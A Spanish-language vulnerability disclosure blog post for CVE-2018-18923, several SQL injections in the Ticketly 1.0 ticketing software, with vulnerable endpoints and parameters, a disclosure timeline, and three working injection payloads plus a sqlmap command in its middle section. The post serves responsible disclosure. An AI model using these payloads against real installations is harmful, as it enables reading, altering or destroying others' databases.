CVE-2018-18923 Ticketly 1.0 - Múltiples SQL Injections

En la entrada anterior , hemos visto una vulnerabilidad de Escalación de Privilegios  en Ticketly 1.0 , en esta entrada, vamos a ver otras vulnerabilidades que he encontrado en este software, en concreto, múltiples SQL Injections, estas vulnerabilidades han sido asociadas al CVE-2018-18923 .

Ticketly - CVE-2018-18923

Ticketly 1.0 - Multiple SQL Injections

CVE-2018-18923 Ticketly 1.0 - Múltiples SQL Injections

Ticketly 1.0, es un software de ticketing desarrollado por AbiSoft para ofrecer soporte a los usuarios sobre incidencias en los sistemas, está basado en PHP y MySQL.

  • 📅 Vulnerabilidad descubierta por Javier Olmedo  el 24/07/2018
  • 💣 Publicada el 05/11/2018
  • 🐛 CVE-2018-18923
  • 🔗 Link del software Ticketly
  • 🐞 Versión vulnerable = 1.0

Vector de ataque / Criticidad de la explotación

CRITICIDAD - 🟣 CRÍTICA 🟣

A través de las vulnerabilidades SQL Injection , un usuario malintencionado podría leer, modificar o borrar información de la base de datos que utiliza la aplicación, lanzar comandos al sistema operativo o causar una denegación de servicio  con el objetivo de obtener información confidencial, escalar privilegios o dejar inoperativa la aplicación.

Parámetros / Recursos vulnerables

En los siguiente recursos se han encontrado parámetros vulnerables a ataques SQL Injection a través de peticiones POST, estas peticiones permiten las condiciones WHERE, HAVING, ORDER BY y GROUP BY, lo que permite que sean fácilmente explotables y recuperar grandes cantidades de información de la base de datos con una sola consulta.

/action/addproject.php

Parámetros description, name, category_iddescription

/action/addticket.php

Parámetros king_id, priority_id, project_id, status_id y title

/reports.php

Parámetros kind_idstatus_id

💉 Payload 1 (boolean-based blind)

name=Test» RLIKE (SELECT (CASE WHEN (4632=4632) THEN 0x54657374 ELSE 0x28 END)) AND «lrmZ»=»lrmZ&description=Test

💉 Payload 2 (error-based)

name=Test» AND EXTRACTVALUE(9139,CONCAT(0x5c,0x7176766a71,(SELECT (ELT(9139=9139,1))),0x7178717a71)) AND «SZJL»=»SZJL&description=Test

💉 Payload 3 (AND/OR time-based blind)

name=Test» RLIKE SLEEP(5) AND «WkTS»=»WkTS&description=Test

📷 Captura de pantalla de SQLmap lanzando el comando

sqlmap -r poc.req -p name --dbs

CVE-2018-18923 Ticketly 1.0 - Múltiples SQL Injections

Prueba de concepto (PoC)

1.  Si añadimos el caracter ' (%22) en el parámetro name obtenemos un error en la aplicación

1.1 Petición

CVE-2018-18923 Ticketly 1.0 - Múltiples SQL Injections

1.2 Respuesta

CVE-2018-18923 Ticketly 1.0 - Múltiples SQL Injections

2. En cambio, al añadir dos ' (%22%22), obtenemos un código 200 OK

2.1 Petición

CVE-2018-18923 Ticketly 1.0 - Múltiples SQL Injections

2.2 Respuesta

CVE-2018-18923 Ticketly 1.0 - Múltiples SQL Injections

Timeline

  • 24/07/2018 Descubrimiento de la vulnerabilidad
  • 24/07/2018 Contacto con el desarrollador
  • 24/07/2018 El desarrollador marca la vulnerabiliad como pendiente de parcheo
  • 02/11/2018 Solicito CVE
  • 04/11/2018 Asignación de CVE-2018-18923 por MITRE
  • 05/11/2018 Hago pública la vulnerabilidad

Referencias

Un saludo a todos!! 👋